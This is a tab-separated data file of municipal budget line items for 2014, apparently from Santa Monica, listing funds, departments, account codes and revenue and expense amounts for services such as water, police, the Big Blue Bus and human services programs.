5335	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	405100.0	PARKING FACILITY TAX	606.0	Other Local Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5336	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404680.0	HMRRP FEES	612.0	Charges for Service	2014	-106641.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-106641.0
5337	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544010.0	SPEC DEPT SUPPLIES	816.0	 Supplies and Expenses	2014	10500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10500.0
5338	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511250.0	STANDBY PAY	806.0	Salaries and Wages	2014	30983.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30983.0
5339	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2014	5428.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5428.0
5340	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522950.0	CNG FUEL		 Supplies and Expenses	2014	8830.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8830.0
5341	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	577220.0	INTEREST EXPENSE - BONDS		 Supplies and Expenses	2014	266550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	266550.0
5342	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	577230.0	FISCAL AGENT FEES		 Supplies and Expenses	2014	5250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5250.0
5343	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522950.0	CNG FUEL		 Supplies and Expenses	2014	3137.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3137.0
5344	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
5345	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	26083.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26083.0
5346	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	603	SPECIAL SERVICES		CONTRACT SERVICES - WISE		 Supplies and Expenses	2014	640500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	640500.0
5347	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	13325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13325.0
5348	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522180.0	BANK FEES		 Supplies and Expenses	2014	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
5349	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522180.0	BANK FEES		 Supplies and Expenses	2014	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
5350	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2014	195500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	195500.0
5351	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2014	1050000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1050000.0
5352	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2014	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
5353	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511040.0	COUNCIL/BOARD ALLOWANCE	840.0	Salaries and Wages	2014	2556.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2556.0
5354	BA	IS	14	TORCA Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	910.0	 Supplies and Expenses	2014	98910.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	98910.0
5355	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	910.0	 Supplies and Expenses	2014	62253.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	62253.0
5356	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2014	1111443.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1111443.0
5357	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522030.0	INVESTIGATION EXPENSES	862.0	 Supplies and Expenses	2014	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
5358	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522050.0	MEDICAL EXAMS	862.0	 Supplies and Expenses	2014	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
5359	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2014	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
5360	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522100.0	EXPERT WITNESS COSTS	862.0	 Supplies and Expenses	2014	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
5361	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555210.0	TRAINING	862.0	 Supplies and Expenses	2014	120000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120000.0
5362	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2014	268735.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	268735.0
5363	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402220.0	CEMETERY MISC SALES / SERVICES	650.0	Charges for Service	2014	-274444.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-274444.0
5364	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2014	-26138.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-26138.0
5365	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400030.0	PROPERTY TAXES-CLRR-AIRCRAFT	602.0	Property Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5366	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400040.0	SUPPLEMENTAL PROPERTY TAX	602.0	Property Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5367	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400350.0	STATUATORY PASS-THROUGHS	602.0	Property Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5368	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401350.0	GEN PROM BUS LICENSE MONTANA	622.0	Other	2014	-5350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5350.0
5369	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	250000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250000.0
5370	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2014	230.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	230.0
5371	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2014	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
5372	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522974.0	LNG FUEL-REVENUE VEHICLES		 Supplies and Expenses	2014	5100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5100000.0
5373	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	205.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	205.0
5374	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522620.0	RENT		 Supplies and Expenses	2014	102.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102.0
5375	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	8409.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8409.0
5376	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	5857.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5857.0
5377	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	1908.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1908.0
5378	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	3077.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3077.0
5379	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561133.0	OPCC-DAYBREAK DAY CTR-GEN FND		 Supplies and Expenses	2014	229376.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	229376.0
5380	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562152.0	FM SVC OF SM-MUIR SCHOOL PROG		 Supplies and Expenses	2014	100864.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100864.0
5381	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562361.0	ST JOE-FAM SELF SUF PRG-GEN FD		 Supplies and Expenses	2014	106727.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	106727.0
5382	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565261.0	OPCC-SOJOURN-GENERAL FUND		 Supplies and Expenses	2014	63878.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63878.0
5383	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522976.0	LNG FUEL TAXES		 Supplies and Expenses	2014	266500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	266500.0
5384	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	402740.0	SMURRF-CITY OF LA-CAPITAL	662.0	Other	2014	-161662.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-161662.0
5385	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	563585.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	563585.0
5386	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	201503.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	201503.0
5387	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	5214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5214.0
5388	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	10390.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10390.0
5389	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	579004.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	579004.0
5390	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	125825.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	125825.0
5391	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402370.0	REIMB FROM OTHER FUNDS	650.0	Charges for Service	2014	-431080.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-431080.0
5392	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	13828.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13828.0
5393	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	192799.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	192799.0
5394	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	13904.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13904.0
5395	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2014	105.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	105.0
5396	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	43751.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43751.0
5397	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	23871.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23871.0
5398	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2014	1189.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1189.0
5399	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2014	4512.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4512.0
5400	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		UNEMPLOYMENT	840.0	Salaries and Wages	2014	18619.0	0	0.0	0.0	0	259	0.0	0	0.0	0	0	0.0	18878.0
5401	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	3589.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3589.0
5402	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561131.0	OPCC-CASE MGMT-GENERAL FUND		 Supplies and Expenses	2014	121500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	121500.0
5403	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561143.0	ST JOE-SHELTER PLUS CARE PROG		 Supplies and Expenses	2014	36249.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36249.0
5404	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562121.0	COMPREHENSIVE CHILD CARE PROG		 Supplies and Expenses	2014	778884.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	778884.0
5405	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562153.0	FM SVC OF SM-EDISON LANGUAGE		 Supplies and Expenses	2014	60466.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60466.0
5406	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562281.0	YOUTH DEVELOPMENT PROJECT		 Supplies and Expenses	2014	275518.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	275518.0
5407	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562332.0	GROWING PLACE-MPCDC		 Supplies and Expenses	2014	171201.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	171201.0
5408	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563122.0	ADULT DAY CARE		 Supplies and Expenses	2014	132742.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	132742.0
5409	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	1755.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1755.0
5410	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544190.0	USAR SUPPLIES	806.0	 Supplies and Expenses	2014	9225.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9225.0
5411	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400682.0	MEDICAL SUPPLIES REIMBURSEMENT	612.0	Charges for Service	2014	-50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50000.0
5412	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	162814.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	162814.0
5413	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		DCAP	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5414	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	6676300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6676300.0
5415	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2014	3653.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3653.0
5416	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	129742.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	129742.0
5417	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	15567.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15567.0
5418	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	224733.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	224733.0
5419	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	908.0	 Supplies and Expenses	2014	113192.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	113192.0
5420	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2014	900000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	900000.0
5421	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2014	550000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	550000.0
5422	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402350.0	WATER - MISC NON-OPERATING	662.0	Other	2014	-316806.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-316806.0
5423	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402360.0	WATER - METER SRVC / INSTALL	650.0	Charges for Service	2014	-312000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-312000.0
5424	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-115000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-115000.0
5425	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404800.0	WATER DEMAND MITIGATION FEE	650.0	Charges for Service	2014	-300000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-300000.0
5426	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-90000.0
5427	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EAP	840.0	Salaries and Wages	2014	4668.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4668.0
5428	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405930.0	TRANSFER STATION - CITY DEPTS	650.0	Charges for Service	2014	-390000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-390000.0
5429	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402200.0	CEMETERY LOT SALES	650.0	Charges for Service	2014	-493999.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-493999.0
5430	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35000.0
5431	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	400210.0	CITY CLERK COUNTER FEES	612.0	Charges for Service	2014	-788.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-788.0
5432	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2014	-22000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-22000.0
5433	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400020.0	PROPERTY TAXES - UNSECURED	602.0	Property Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5434	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401210.0	DAMAGE TO CITY PROPERTY	622.0	Other	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5435	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5436	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401030.0	HAZ MAT RESPONSE RECOVERY	622.0	Other	2014	-20500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20500.0
5437	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	5300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5300.0
5438	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	27450.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27450.0
5439	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555120.0	LA SEWAGE DISPOSAL		 Supplies and Expenses	2014	6699060.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6699060.0
5440	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2014	20900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20900.0
5441	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2014	217.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	217.0
5442	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	813.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	813.0
5443	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	103.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103.0
5444	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	164.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	164.0
5445	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	11504.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11504.0
5446	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	308.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	308.0
5447	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	9885.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9885.0
5448	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561201.0	CHRYSALIS-EMPLOY ASST-GEN FUND		 Supplies and Expenses	2014	276857.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	276857.0
5449	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562131.0	CIVIC CENTER MED-YOUTH PEER ME		 Supplies and Expenses	2014	52888.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	52888.0
5450	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563121.0	CARE MANAGEMENT		 Supplies and Expenses	2014	207050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	207050.0
5451	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565231.0	GENERAL COMMUNITY LEGAL SRVCES		 Supplies and Expenses	2014	479219.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	479219.0
5452	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	25625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25625.0
5453	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	103.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103.0
